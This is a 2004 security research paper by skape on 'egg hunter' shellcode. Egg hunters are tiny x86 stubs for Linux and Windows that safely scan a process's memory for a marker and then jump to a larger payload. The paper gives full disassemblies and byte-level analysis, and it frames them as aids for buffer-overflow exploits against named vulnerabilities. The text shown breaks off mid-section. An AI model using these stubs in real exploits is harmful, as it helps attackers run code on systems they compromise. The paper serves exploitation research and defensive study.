http://www.nologin.org

Safely Searching Process Virtual Address Space

skape
mmiller@hick.org
09/03/2004

Contents

Chapter 1

Overview

The fact that people tend to ignore when thinking about searching for a needle in a haystack is the potential harm that can be brought about by groping around for a sharp, pointy object in a mass of uncertainty. It is in this spirit that the author hopes to bring about a certain sense of safety for those who sometimes find it necessary to grope around haystacks in search of needles. In the context of this paper, the haystack represents a process' *Virtual Address Space* (VAS) and the needle represents an egg that has been planted at an indeterminate place by a program. The danger of searching a process' VAS for an egg lies in the fact that there tend to be large regions of unallocated memory that would inevitably be encountered along the path when searching for an egg. Dereferencing this unallocated memory leads to Bad Things, much like pricking a finger with a needle leads to pain.

In order to prevent said Bad Things from happening, this paper will attempt to provide the reader with a thorough explanation of how a process' VAS can be searched in very light, portable, and reliable fashions. The uses for such a mechanism will be discussed in detail in the *Practical Uses* chapter (2). From there, implementations will be provided for both Linux and Windows, as the underlying means for accomplishing the common goal differs between the two platforms, as is true for most all platforms of differing designs.

Before continuing, the author would like to thank the following people for their work on optimizing and analyzing the code discussed in this document: spoonm, optyx, H D Moore, Skywing, johnycsh, trew, vlad902, and everyone else at nologin.org.

With that, on with the show...

Chapter 2

Practical Uses

There are a finite number of contexts where searching a process' VAS is actually useful, so the author has thought it best to not beat around the bush on the subject. It's primarily useful for exploitation. Some exploit vectors only allow the attacker a very small amount of data to use when accomplishing their buffer overflow. For instance, the Internet Explorer object type vulnerability[3] and the Subversion date parsing vulnerability[4] are both examples of overflows that allow for a limited amount of data to be written and used as a payload at a deterministic location. However, both exploits allow for the attacker to place a large payload somewhere else in the address space of the process, though the location that it is stored at is indeterminate. In the case of the object type vulnerability, an attacker can place their egg somewhere else in the HTML file, which in the end is translated into a heap allocated buffer that stores the contents of the page being processed.

As described in the overview, searching VAS is dangerous given all of the unallocated memory regions that might be encountered on the way. As such, the following requirements have been enumerated in order to define what denotes a complete, robust, and what will henceforth be referred to as, `egg hunter`:

1. It must be robust

   This requirement is used to express the fact that the egg hunter must be capable of searching through memory regions that are invalid and would otherwise crash the application if they were to be dereferenced improperly. It must also be capable of searching for the egg anywhere in memory.

2. It must be small

   Given the scope of this paper, size is a principal requirement for the egg hunters as they must be able to go where no other payload would be able to fit when used in conjunction with an exploit. The smaller the better.

3. It should be fast

   In order to avoid sitting idly for minutes while the egg hunter does its task, the methods used to search VAS should be as quick as possible, without violating the first requirement or second requirements without proper justification.

Aside from exploitation, searching VAS could also be used to profile and analyze features of memory regions inside an arbitrary process, such as their distribution and contents. The nice thing about it would be that it could run inside the context of the process without impeding the process itself from continuing along with its normal course of execution; an invisible observer of sorts. Though this sort of operation is not particularly related to searching for a specific egg, it is another example where concepts used to validate a given memory address without compromising the integrity of the program can be applied. Beyond this, though, the author has yet to come up with other viable scenarios in which validation of arbitrary memory regions would be particularly useful to an external program[1].

[1]There are indeed many viable uses for validating memory regions in the real implementation of a program, such as for use with validating pointer arguments to functions, amongst other things.

Chapter 3

Implementations

Now to the juicy part, the actual meat of the paper: The implementations themselves. The following sections will outline and describe some specific egg hunter implementations that have been used and tested on both Linux and Windows. Many of these implementations have been proof-tested against real world vulnerabilities, such as the Subversion date vulnerability running on a Windows box. In all cases the implementations will attempt to adhere to the requirements outlined in the *Practical Uses* chapter, and for those that are border-lined, a detailed explanation of why that is the case will be provided.

One of the major questions that has been left unanswered thus far is how many bytes the actual egg should be that is being hunted for and what types of qualities it should have. Thus far the author has determined that it is best to use an eight byte egg when doing the searching. The reason for this stems from the fact that the implementations for the egg hunting algorithms tend to have a four byte version of the key stored once in the searching code itself, thus it might be possible if one were to use a four byte version of the key to accidentaly run into the egg hunter itself vice running into the expected buffer. It is a requirement that the key be unique and identifiable in the process' VAS, else the risk is there for a possible collision with something other than what would be expected. An example of an eight byte key is as follows:

```
00000000  90              nop
00000001  50              push eax
00000002  90              nop
00000003  50              push eax
00000004  90              nop
00000005  50              push eax
00000006  90              nop
00000007  50              push eax
```

As a raw buffer, the key becomes a dword `0x50905090` repeated twice in a row. The reason the key repeats itself is because it allows the egg hunter to be more optimized for size in that it does not have to actually search for two unique keys, one right after the other, but instead can search for a single key that has the same four byte values, one right after the other. This eight byte version of the key tends to allow for enough uniqueness that it can be easily selected without running any high risk of a collision. Immediately following the egg in memory is typically the larger payload that would have otherwise been unable to be used with the exploit at hand.

The astute reader most likely noticed that the key was provided in the form of assembler output. Why was that? The reason for that was that some of the egg hunter implementations require that the key itself be executable assembly, as once the key as been located the egg hunter will simply jump into it in order to transfer execution to the second payload that has been stored elsewhere in memory. While the egg hunters could calculate an offset that is eight bytes past the start of the egg, this would add unnecessary overhead.

3.1 Linux

Searching a process' VAS on Linux is limited to a very small set of mechanisms to choose from. The first and most obvious approach would be to register a `SIGSEGV` handler to catch invalid memory address dereferences and prevent the program from crashing. The second technique that can be used involves abusing the system call interface provided by the operating system to validate process VMAs in kernel mode. This approach offers a fair bit of elegance in that there are a wide array of system calls to choose from that might better suit the need of the searcher, and, furthermore, is less intrusive to the program itself than would be installing a segmentation fault signal handler.

The `SIGSEGV` handler technique, while indeed feasible, has multiple drawbacks and does not cleanly meet the requirements enumerated earlier in the paper. The first requirement that it does not meet is size. A complete and robust implementation of an egg hunter that were to use a segmentation fault handler would be far too large. The author attempted to develop a payload that used this technique but was in the end discouraged from using it by the size and inelegance of the implementation.

The system call technique, however, is a whole different story. While most people use system calls under their intended pretenses, it makes sense to try to think outside of the box and consider what other possible features they could expose to a user-mode application. As has been implied previously, one such feature is the ability to validate process-relative memory addresses without leading to a segmentation fault or other runtime error in the program itself. When a system call encounters an invalid memory address, most will return the `EFAULT`

error code to indicate that a pointer provided to the system call was not valid. Fortunately for the egg hunter, this is the exact type of information it needs in order to safely traverse the process' VAS without dereferencing the invalid memory regions that are strewn about the process.

As a little bit of background or review for the reader, the system call interface that is exposed to user-mode applications in Linux (on IA32) is provided through soft-interrupt `0x80`. The following table describes the register layout that is used across all system calls[1]:

Register	Contents
`eax`	The system call number
`ebx`	Argument 1
`ecx`	Argument 2
`edx`	Argument 3
`esi`	Argument 4
`edi`	Argument 5

The following three example implementations are based on the system call technique exclusively. Each one was part of an iterative process to get the smallest and most optimized implementation possible without grossly compromising the requirements for a robust egg hunter.

3.1.1 access(2)

Size: 39 bytes
Targets: Linux
Egg Size: 8 bytes
Executable Egg: Yes
Speed: 8 seconds (0x0 . . . 0xbfffebd4)

The first system call selected for use with this technique was the `access(2)` system call. The real purpose of this system call is to check and see if the current process has the specific access rights to a given file on disk. The reason this system call was selected was for two reasons. First, the system call had to have a pointer for just one argument, as multiple pointer arguments would require more register initialization, and thus violate requirement #2 regarding size. Secondly, the system call had to not attempt to write to the pointer supplied, as it could lead to bad things happening if the memory were indeed writable, which in all likelihood would be the case for the buffer that would hold the egg being searched for. The access system call is prototyped as follows:

```
int access(const char *pathname, int mode);
```

[1] System calls with arguments greater than 5 are beyond the scope of this document.

As can be seen, the `pathname` pointer is the argument that will be used to do the address validation. Since `pathname` is the first argument, it means that the `ebx` register will need to point to the address that needs to be validated. The `access` function's system call number itself is defined in `/usr/include/asm/unistd.h` as:

```
#define __NR_access             33
```

With the required registers determined for the system call, it is now time to look at the actual implementation in an objective fashion to note both the positive and negative aspects of its approach:

```
00000000  BB90509050        mov ebx,0x50905090
00000005  31C9              xor ecx,ecx
00000007  F7E1              mul ecx
00000009  6681CAFF0F        or dx,0xfff
0000000E  42                inc edx
0000000F  60                pusha
00000010  8D5A04            lea ebx,[edx+0x4]
00000013  B021              mov al,0x21
00000015  CD80              int 0x80
00000017  3CF2              cmp al,0xf2
00000019  61                popa
0000001A  74ED              jz 0x9
0000001C  391A              cmp [edx],ebx
0000001E  75EE              jnz 0xe
00000020  395A04            cmp [edx+0x4],ebx
00000023  75E9              jnz 0xe
00000025  FFE2              jmp edx
```

Analysis

The first three instructions in this implementation are used as register initialization. First, `ebx` is initialized to point to the four byte version of the egg that is being searched for which, in this case, is `0x50905090`. Next, the `ecx` register is zeroed out and then multiplied with the `mul` instruction causing both `eax` and `edx` to become zero. So, after the first three instructions, here is a table representing the known register state:

Register	Contents
eax	0x0
ebx	0x50905090
ecx	0x0
edx	0x0

Following the initialization of the registers, the next two instructions perform a page alignment operation on the current pointer that is being validated by doing a bitwise `OR` operation on the low 16-bits of the current pointer (stored in `edx`) and then incrementing `edx` by one. This operation is equivalent to adding `0x1000` to the value in `edx`. The reason these two operations are separate is because they are entry points for different code branches. In the case that an invalid memory address is returned from the `access` system call, the page alignment branch is taken because it can be assumed that all addresses inside the current page are invalid (due to the fact that the smallest granular unit of memory on IA32 is `PAGE_SIZE`). In the event that a valid pointer is returned from the system call but the egg does not match with its contents, the page alignment portion is skipped and the pointer is simply incremented, thus trying the next valid address within the current page.

After the `inc edx` instruction, the next instruction pushes all of the current general purposes registers onto the stack such that they can be preserved across the system call. This is useful due to the fact that some of the registers, such as `eax`, are used both as input and output registers for the system call interface. When a system call returns, the return value is stored in `eax`. As such, the pushad (later followed by a popad) allows for the current value of `eax`, which at the time of the instruction is `0x0`, to be preserved across calls to the `access` system call.

Once the register state has been preserved, the system call registers themselves are populated. The first register to be initialized is `ebx` which, as one should recall, is used to store the first argument to a system call. When using the `access` system call, `ebx` will point to the pathname pointer, and as such will point to the address that is being validated. The quirky thing about the way the `ebx` register is initialized is that it is set to the current value in `edx` (which is storing the current pointer to be validated during the duration of the search) plus four. Why is four added to the current pointer to be validated? The reason is because it allows eight bytes of contiguous memory to be validated in a single swoop. The reason that it works in all cases is because the implementation will increment by `PAGE_SIZE` when it encounters invalid addresses, thus it's impossible that `edx` plus four could be valid and `edx` itself not be valid.

After initializing `ebx` to the address that is to be validated, the low byte of `eax` is set to `0x21`, the system call number for `access`. The reason the low byte is set is because it is already known that the top three bytes are zero from the very first register initialization steps. After initializing `eax`, the soft-interrupt `0x80` is issued and the system call is executed. Upon the system call's return, the low byte of `eax` (which now holds the return value from the system call) is compared against `0xf2` which represents the low byte of the `EFAULT` return value. This sets the flag state that is used after the general purposes registers are restored by the `popad` instruction. If the `ZF` flag is set, the implementation jumps to the 16-bit bitwise `OR` instruction which increments the current pointer to the next page. Otherwise, if the return value was not `EFAULT`, the pointer

was valid and can thus be compared to the egg being searched for.

As the very first step to this implementation, `ebx` was initialized to the four byte version of the egg being searched for. Even though `ebx` was clobbered for the system call, it was restored to its original state due to the `pushad` and `popad` instructions. As such, the contents of the pointer supplied in `edx` are compared against the egg in `ebx`. If they do not match, the implementation jumps to the `inc edx` instruction which simply goes to the next address in the current page. Otherwise, if the egg does match with the contents of the pointer supplied in `edx`, it performs the same operation against, except this time the contents of the pointer supplied in `edx + 4` are compared against the egg. If they do not match, the same branch is taken back to the `inc edx` instruction, otherwise, the egg has been found. At this point the implementation simply jumps into the pointer in `edx` and the second stage begins its execution.

Pros

The positive aspects of this implementation are that it's very robust. There should be no conditions where it would fail excluding some sort of aggressive prevention mechanisms that are as of yet unimplemented. The implementation is also reasonably small at `39` bytes, but there is much room for improvement. Aside from this, the payload definitely meets the requirements for speed.

Cons

The negative aspects of this implementation are mainly associated with its size. Many of the portions, as will be seen in subsequent implementations, are unnecessary and can be optimized away. Another concern with this implementation is that the egg has to be executable, thus limiting the range of unique eggs that can be used when searching.

3.1.2 access(2) revisited

Size:	35 bytes
Targets:	Linux
Egg Size:	8 bytes
Executable Egg:	No
Speed:	7.5 seconds (0x0 . . . 0xbfffebd4)

The second implementation takes a similar approach to first implementation of the `access` system call method but is a more optimized version and has a few features that make it a more ideal choice. The primary differences in this implementation are size, minor speed improvements, and the fact that the egg

does not have to be executable, opening up a wider range of possible eggs to be used when searching, thus making it much more robust. The implementation itself is:

```
00000000  31D2              xor edx,edx
00000002  6681CAFF0F        or dx,0xfff
00000007  42                inc edx
00000008  8D5A04            lea ebx,[edx+0x4]
0000000B  6A21              push byte +0x21
0000000D  58                pop eax
0000000E  CD80              int 0x80
00000010  3CF2              cmp al,0xf2
00000012  74EE              jz 0x2
00000014  B890509050        mov eax,0x50905090
00000019  89D7              mov edi,edx
0000001B  AF                scasd
0000001C  75E9              jnz 0x7
0000001E  AF                scasd
0000001F  75E6              jnz 0x7
00000021  FFE7              jmp edi
```

Analysis

The first step in this implementation follows that of the original, except that instead of initializing the state for four registers, only one register's state is initialized. The `edx` register is initialized to zero as it will be the register that holds the pointer that is to be validated by the system call and later compared against the egg. The need to do this initialization will be addressed in the next implementation.

Following the register initialization, the same page alignment logic exists for allowing the hunting code to move up in `PAGE_SIZE` increments vice doing in single byte increments. The primary difference to be noticed after the page alignment instructions is that there is no `pushad` in this implementation. The need for preserving registers has been removed by not initializing the egg to be searched for in `ebx` (which gets clobbered during the register initialization for the system call) and also because the way in which the system call number is initialized allows for not caring about whether or not the top three bytes are already zero. In this case, a push byte instruction is used to push a 32-bit dword onto the stack, but without requiring a 32-bit operand. The value that is pushed to the stack is `0x21`, or 33, which is the system call number for `access`. After being pushed, it's immediately popped into `eax` for use as the system call index. With `ebx` and `eax` initialized, the system call is triggered and the same comparison logic is used to determine whether or not the address was invalid.

Once the address is determined to be valid, the egg comparison begins. This part differs greatly from its predecessor in implementation and is one of the reasons why a few bytes have been cut off in size. Instead of storing the egg to be compared against in `ebx`, the egg is instead stored in `eax`. The reason it's stored in `eax` is so that one of the native IA32 instructions for doing string based comparisons can be used, namely `scas`. By initializing `edi` to the pointer value that is currently in `edi`, the `scasd` instruction can be used to compare the contents of the memory stored in `edi` to the dword value that is currently in `eax`. This allows for a smaller comparison than the previous version and has the an added side effect of incrementing `edi` by four after each comparison. The incrementing of `edi` is what allows the egg to be skipped when jumping into the larger payload, as after `scasd` has been run twice, `edx` and `edi` will be eight bytes apart and thus point past the start of the egg that was being searched for.

As a side note, the astute reader might wonder why the current pointer is stored in `edx` instead of `edi`, as the `mov` could be eliminated if that were to be done. The problem here, however, is that if the first `scasd` comparison fails, `edi` will still point four bytes past where it originally was, thus causing a number of bytes to be skipped in the next comparison that could, theoretically, actually hold the start of the egg. Remember, in order to be as robust as possible, the egg hunter must not make assumptions about the address layout of the process, and thus cannot assume that it is safe to skip over a given number of bytes.

Pros

The positive aspects of this implementation are that it retains the same amount of robustness as its predecessor and does it in fewer bytes and in a quicker, while minuscule, amount of time. The other nice feature of this version is that it allows the egg to be non-executable due to the side effect of the `scasd` instruction allowing `edi` to point eight bytes past the start of the egg, and thus directly into the larger payload. All around, this implementation is a large improvement over the original.

Cons

The only real con to this implementation that the author is aware of is that it is still a little larger than it should be, though for most cases 35 bytes should be plenty small. Another thing that should be noted about this implementation is that it will fail if the direction flag (DF) is set. This is uncommon is almost any environment, but should it happen to occur, a `cld` instruction would need to be added. This is a problem due to the use of the `scasd` instruction.

3.1.3 sigaction(2)

Size:	30 bytes
Targets:	Linux
Egg Size:	8 bytes
Executable Egg:	No
Speed:	2.5 seconds (0x0 . . . 0xbfffebd4)

The third and final implementation (thus far) has a bit of a different approach than the last two. While this approach still uses system calls a means to validate a given address, it uses them in a slightly different fashion. The past implementations have taken advantage of the fact that the kernel will take a pointer argument that is provided to a system call and let the user-mode program know whether or not that address is invalid by returning `EFAULT`. While that approach works, it has the negative side effect of only being able to validate one address at a time. The `sigaction` approach allows multiple addresses to be validated at a single time by taking advantage of the kernel's `verify_area` routine which is used, for instance, on structures that have been passed in from user-mode to a system call.

The `sigaction` system call is much like the `signal` system call, except that it allows much more granular control. Its real purpose is to allow for defining custom actions to be taken on the receipt of a given signal. On this day, however, its purpose will be to allow for the validating of user-mode addresses. The `sigaction` function is prototyped as follows:

```
int sigaction(int signum, const struct sigaction *act, struct
sigaction *oldact);
```

As was described earlier in this document, the arguments for the function can be translated as `signum` being in the `ebx` register, `act` being in the `ecx` register, and `oldact` being in the `edx` register. The `eax` register will obviously hold the system call number which, for `sigaction`, is defined as:

```
#define __NR_sigaction          67
```

The goal here will be to use the `act` structure as the pointer for validating a larger region of memory than a single byte (as was the case with the `access` system call). For reference, the `sigaction` structure is defined as[2]:

```
struct sigaction
{
```

[2]The structure has had comments and preprocessor macros removed.

```
    __sighandler_t sa_handler;
    __sigset_t sa_mask;
    int sa_flags;
    void (*sa_restorer) (void);
};
```

Each of the elements in the structure is equivalent to a 32-bit integer, and thus the size of the structure itself is 16 bytes. This means that when the `verify_area` routine is called, it will ensure that there are 16 bytes of contiguous memory at the address supplied for the `act` structure. Even though the egg is only eight bytes in size, it is known that the second payload will itself always be larger than eight bytes, thus it's safe to assume that validating 16 bytes of memory will not decrease the robustness of the egg hunter by introducing some odd means by which the egg could be missed. With that, onto the implementation itself:

```
00000000  6681C9FF0F        or cx,0xfff
00000005  41                inc ecx
00000006  6A43              push byte +0x43
00000008  58                pop eax
00000009  CD80              int 0x80
0000000B  3CF2              cmp al,0xf2
0000000D  74F1              jz 0x0
0000000F  B890509050        mov eax,0x50905090
00000014  89CF              mov edi,ecx
00000016  AF                scasd
00000017  75EC              jnz 0x5
00000019  AF                scasd
0000001A  75E9              jnz 0x5
0000001C  FFE7              jmp edi
```

Analysis

The primary difference between this implementation and the last `access` implementation is that this implementation has the luxury of not having to do the `address + 4` correction to ensure that eight bytes of contiguous memory are present before doing the comparison. Instead, the `sigaction` method allows for inherently checking to see that not just eight bytes, but sixteen bytes of contiguous memory are present without having to do any sort of register adjustment in user-mode. Another striking difference between this implementation and past implementations is that the register containing the address to be validated, which in this case is `ecx`, is no longer initialized to zero prior to searching. The logic behind that is that incrementing by `PAGE_SIZE` allows for quick searching through invalid memory regions, and thus obviates the need to

initialize the register to a given value due to the fact that it will wrap around as many times as necessary.

Aside from these two differences and the change from using `access` to using `sigaction`, the egg hunter is largely unchanged in the way that it does its egg comparison and address searching.

One thing that the reader may be wondering at this point is why the `edx` register does not have to be initialized to a valid pointer as well. The reason for this is that the `act` structure is checked to see if it is valid before the `oldact` structure is, and the `oldact` structure is only checked for validity if the `do_sigaction` function succeeds, which the chances of that happening are incredibly slim, though not impossible. This point will be expanded on in the *Cons* section of this implementation.

Pros

This implementation shows marked improvements in almost every category. It is smaller, faster, and maintains nearly the same amount of robustness as the previous implementations. It should certainly be considered the forerunner when selecting an egg hunter, even though it heavily relies on the implementation of `sigaction` in the kernel not changing. If it were to change to validate `oldact` prior to calling `do_sigaction`, the egg hunter implementation would have to change.

Cons

The biggest concern with this implementation lies on the fact that there may be a scenario where it could be non-robust. Take for instance the scenario where `ebx` points to a valid signal number, `edx` is either `NULL` or points to a valid memory range, and that at some point during the search operation, `ecx` points to a region of memory that contains a valid `sigaction` structure. If all of these conditions aligned to form this scenario, the egg hunter could potentially override a signal handler with something a bit more ugly.

Another scenario where bad things might happen with this implementation would be if `ebx` pointed to a valid signal number, `ecx` pointed to a valid `sigaction` structure, and `edx` pointed to an *invalid* memory address. This would cause the `sigaction` system call to continually return `EFAULT`.

There are obvious work-arounds to these problems, such as ensuring that the `edx` register is initialized to `NULL` and that `ebx` points to an invalid signal number, but in general, neither of these cases are particularly likely to happen, and have not happened at all during testing.

Finally, this implementation also suffers from the direction flag issue pointed out in the second implementation of the access payload. If the direction flag is set, the payload will likely fail. This problem can be averted by adding a `cld` instruction should the case arise that it is needed, but more than likely it will not be necessary.

3.2 Windows

There are two distinct methods by which the address space of a given process can be searched on Windows. The first of these methods is to take advantage of a feature that is unique to Windows (relative to Linux and most other unix variants): Structured Exception Handling. The second is to use the system call validation method that was also used on Linux. The following implementations will attempt to analyze both of these approaches in order to determine which of the two is best suited for the task at hand.

3.2.1 SEH

Size:	60 bytes
Targets:	Windows 95/98/ME/NT/2000/XP/2003
Egg Size:	8 bytes
Executable Egg:	No

The first of the two techniques that will be discussed is the Structured Exception Handling (SEH) technique. In Windows, access violations and other such runtime exceptions can be caught and handled by the process itself, much like segmentation faults can be caught and handled internally by the process on UNIX variants. Unlike the UNIX signal-based system for delivering runtime exceptions, the Windows way tends to allow for more uniform control and influence over the process of catching, and potentially correcting, exceptions as the arise. This feature provides an exceptionally nice mechanism that can be employed for the purposes of an egg hunter given that one of the requirements, robustness, states that the egg hunter must be capable of traversing through memory regions that may be potentially invalid or unallocated. By installing a custom exception handler, an egg hunter can catch and ignore access violations as they occur during the course of the search for the egg.

The following implementation, while rather large, is an example of an egg hunter that installs its own exception handler and fixes up the execution path properly when an invalid address is encountered. Before diving into the analysis, perhaps a little bit of information on the subject of exception handlers would make sense.

To recap, Windows provides a mechanism by which process-relative exception handlers can be registered that can receive notifications regarding things like

access violations, breakpoints, floating point exceptions, and other such runtime errors. These handlers can be chained together, thus allowing for one handler to pass along the exception further down the chain if it does not need to or is unable to deal with the type of exception that has been encountered. These exception handlers are analogous to the C++ and Java exception handlers that are used when class methods throw exceptions to callers in order to pass error information up the stack.

On both Windows 9X and NT derived platforms, the list of structured exception handlers can be found at `fs:[0]` in the context of any given process. The structure of each exception handler entry in the chain can be defined as:

```
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
    struct _EXCEPTION_REGISTRATION_RECORD *Next;
    EXCEPTION_DISPOSITION (*Handler)(
            struct _EXCEPTION_RECORD *record,
            void *frame,
            struct _CONTEXT *ctx,
            void *dispctx);
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
```

The `Next` attribute points to the next entry in the chain, or `0xffffffff` if there are no more entries. The `Handler` attribute is the function that will be called when an exception occurs. The handler can return four possible return values, two of which are relevant to the discussion at hand. The first of the return values that could be returned is `ExceptionContinueExecution`. This return value causes the exception chain processor to stop processing the chain and continue execution. This return value is typically used after an exception handler has handled an exception. The second return value is `ExceptionContinueSearch` and is used to tell the exception chain processor to continue on to the next exception handler.

With the background out of the way, it now makes sense to move on and analyze the actual implementation of an egg hunter that uses a custom exception handler to accomplish the goal of locating the larger payload in memory.

```
00000000  EB21              jmp short 0x23
00000002  59                pop ecx
00000003  B890509050        mov eax,0x50905090
00000008  51                push ecx
00000009  6AFF              push byte -0x1
0000000B  33DB              xor ebx,ebx
0000000D  648923            mov [fs:ebx],esp
00000010  6A02              push byte +0x2
```

```
00000012  59              pop ecx
00000013  8BFB            mov edi,ebx
00000015  F3AF            repe scasd
00000017  7507            jnz 0x20
00000019  FFE7            jmp edi
0000001B  6681CBFF0F      or bx,0xfff
00000020  43              inc ebx
00000021  EBED            jmp short 0x10
00000023  E8DAFFFFFF      call 0x2
00000028  6A0C            push byte +0xc
0000002A  59              pop ecx
0000002B  8B040C          mov eax,[esp+ecx]
0000002E  B1B8            mov cl,0xb8
00000030  83040806        add dword [eax+ecx],byte +0x6
00000034  58              pop eax
00000035  83C410          add esp,byte +0x10
00000038  50              push eax
00000039  33C0            xor eax,eax
0000003B  C3              ret
```

Analysis

The first thing to notice about this implementation is its size. It's much larger than any of the other implementations provided in this document. With that said, it also happens to be the most portable as far as Windows is concerned, as exception handling is common to both Windows 9X and NT. The egg hunter itself is broken into three basic parts. The first part is the exception handler registration portion, the second part is the egg comparison code, and the third part is the exception handler. These three parts will be discussed separately in order to induce a little bit of clarity.

The exception handler registration code is the very first phase of the egg hunter. The first instruction that is executed is a relative `jmp` to a `call` instruction that immediately does a relative call backwards to the instruction right after the original `jmp`. This may seem unnecessary, but the purpose it serves is to push the address of the exception handler on the stack, and thus make it possible to know its address in a position independent fashion. The handler is then popped off the stack and into the `ecx` register. The next step isn't particularly related to the exception handler registration, but is necessary for the egg comparison phase of the egg hunter in that `eax` must be initialized with the four byte version of the egg that is being searched for.

With the exception handlers absolute memory address stored in `ecx`, the next step is to build out a `EXCEPTION_REGISTRATION_RECORD` structure on the stack that will then be installed as the lowest handler in the chain, and thus be called

before any others. This is accomplished by simply pushing the `ecx` register onto the stack to act as the `Handler` attribute and then pushing `0xffffffff` to represent that there are no more exception handlers in the chain. The current stack pointer is then taken and stored at `fs:[0]`, thus installing the custom exception handler.

After installing the exception handler, the next phase is to actually begin searching for the egg. This is accomplished by first initializing the `ebx` register to zero. The `ebx` register is what will be used to hold the current address that is to be validated. After that, the search loop begins. Inside the search loop the `ecx` register is initialized to two and the `edi` register is initialized to ebx. The reason that the `ecx` register is set to two is because it is used as the counter for the rep operation when doing the `scasd`. This allows for comparing eight bytes of memory at `edi` with the value stored in `eax`. In the event that `edi` points to an invalid address, the custom exception handler is triggered and the process' current instruction pointer is updated to be six bytes past its current point, thus moving it to the page aligning portion of the egg hunter which then advances `ebx` by one page and starts going through the loop again. Once the `scasd` operation succeeds, the egg hunter simply jumps into `edi` and begins executing the larger payload.

The exception handler itself is merely responsible for updating the current instruction pointer by a static adjustment whenever it is called. The thought process here is that the only exceptions that should be getting triggered are those by the egg hunter itself. If any other exception were to be triggered, the static adjustment could potentially destabilize the application. Once it has updated the instruction pointer, the exception handler returns `ExceptionContinueExecution` so that execution can continue at the new position.

Pros

The primary advantage to this implementation is that it is capable of running portably on all versions of Windows. It is marginally quick, but lots of code is run each time an exception occurs, thus slowing down the search time. Another positive aspect of this implementation is that because it uses `ecx` as the counter for the comparison operation, it's possible to search for an egg that is larger than eight bytes.

Cons

Relative to most Windows payloads, this egg hunter implementation is still quite small, but regardless; its size is something to be concerned about. Aside from that, the robustness factor must be considered with the fact that if any exception other than the egg hunter's were to occur during the course of execution, bad

things might occur.

This payload also suffers from the direction flag issue due to its use of the `scasd` instruction, but it should not be considered a major point of concern.

3.2.2 IsBadReadPtr

Size:	37 bytes
Targets:	Windows 95/98/ME/NT/2000/XP/2003
Egg Size:	8 bytes
Executable Egg:	No

The second Windows egg hunter implementation is merely a smaller version of the first approach. Under the hood, the `IsBadReadPtr` function simply installs its own exception handler and then dereferences the provided pointer for the given number of bytes to see if it can be read from. If the pointer cannot be read from, `TRUE` is returned, otherwise `FALSE` is returned and the pointer can be assumed to be valid, at least at that point in execution. The function itself is prototyped as[1]:

```
BOOL IsBadReadPtr(
  const VOID* lp,
  UINT_PTR ucb
);
```

The implementation that follows will simply use `IsBadReadPtr` as a means to validate eight bytes of contiguous memory, much like the other implementations use system calls or their own custom exception handlers.

```
00000000  33DB              xor ebx,ebx
00000002  6681CBFF0F        or bx,0xfff
00000007  43                inc ebx
00000008  6A08              push byte +0x8
0000000A  53                push ebx
0000000B  B80D5BE777        mov eax,0x77e75b0d
00000010  FFD0              call eax
00000012  85C0              test eax,eax
00000014  75EC              jnz 0x2
00000016  B890509050        mov eax,0x50905090
0000001B  8BFB              mov edi,ebx
0000001D  AF                scasd
0000001E  75E7              jnz 0x7
00000020  AF                scasd
00000021  75E4              jnz 0x7
00000023  FFE7              jmp edi
```

Analysis

The implementation of this egg hunter is almost exactly the same as the system call version, but instead of using a system call, a function is employed in its place. The first few steps of this payload are the same as others – the register that contains the address to be validated is stored in `ebx`. Following that, the now standard page alignment and incrementing instructions are found. The main point of difference is that after them, instead of building out arguments for a system call in registers, arguments are pushed onto the stack for the call to `IsBadReadPtr`.

The second argument is pushed first as `0x8` which represents the `ucb` argument of the `IsBadReadPtr` function. After that, the first argument is pushed onto the stack as the contents of the `ebx` register which contains the address to be validated. Finally, `eax` is set to the virtual memory address of the `IsBadReadPtr` and is called. Upon return, `eax` is tested to see if it is zero. If it's not, the virtual address in `ebx` is invalid and thus the page alignment branch is taken and the search continues. Otherwise, the address is compared with the egg. If the egg does not match, the single-byte branch is taken and the search continues. Otherwise, the egg hunter simply jumps into `edi` and executes the larger payload.

Pros

The positive aspects of this payload are that it's simple and uses an API-backed mechanism for determining whether or not an address is valid. This means that it is guaranteed to work on future versions of Windows, assuming of course that the API does not become deprecated. This specific aspect makes the payload partially robust. It is also quite small compared to the first implementation. There are, however, big problems with this implementation on the robustness side of things.

Cons

The biggest negative for this payload is that it requires the use of a static virtual memory address that points to the start of the `IsBadReadPtr` function. This alone makes this approach almost entirely out of the question as the offset to the `IsBadReadPtr` function could change from one version (or even service pack) of Windows to the next, as could the base address of the DLL that it is a part of. Another negative aspect to this problem is not as large of an issue, but it is possible that a race condition might occur when using `IsBadReadPtr`. During the time between the call to `IsBadReadPtr` and the actual dereferencing of the address that was found to be valid, another thread in the process could

deallocate the memory range and thus lead to an access violation once referenced by the egg hunter. This scenario is unlikely, but definitely feasible.

This payload also suffers from the direction flag issue due to its use of the `scasd` instruction, but it should not be considered a major point of concern.

3.2.3 NtDisplayString

Size:	32 bytes
Targets:	Windows NT/2000/XP/2003
Egg Size:	8 bytes
Executable Egg:	No

The final egg hunter implementation for Windows is by far the smallest and most elegant approach. It is, however, limited to NT derived versions of Windows, but the concepts should be applicable 9X based versions as well. In this implementation a system call is used to validate an address range in much the same fashion as was used on the Linux side of the house. One major difference between Windows and Linux system calls is that instead of passing arguments in different general purpose registers, arguments are passed by way of an argument vector that is supplied in `edx`. The actual system call that was used to accomplish the egg hunting operation was the `NtDisplayString` system call which is prototyped as[2]:

```
NTSYSAPI NTSTATUS NTAPI NtDisplayString(
  IN PUNICODE_STRING String
);
```

The `NtDisplayString` system call is typically used to display text to the bluescreen that some people are (unfortunately) all too familiar with. For the purposes of an egg hunter, however, it is abused due to the fact that its only argument is a pointer that is read from and not written to, thus making it a most desirable choice. The actual implementation varies little from the Linux implementations that use system calls (other than the obvious error code and system call number differences):

```
00000000  6681CAFF0F        or dx,0xfff
00000005  42                inc edx
00000006  52                push edx
00000007  6A43              push byte +0x43
00000009  58                pop eax
0000000A  CD2E              int 0x2e
0000000C  3C05              cmp al,0x5
0000000E  5A                pop edx
```

```
0000000F  74EF              jz 0x0
00000011  B890509050        mov eax,0x50905090
00000016  8BFA              mov edi,edx
00000018  AF                scasd
00000019  75EA              jnz 0x5
0000001B  AF                scasd
0000001C  75E7              jnz 0x5
0000001E  FFE7              jmp edi
```

Analysis

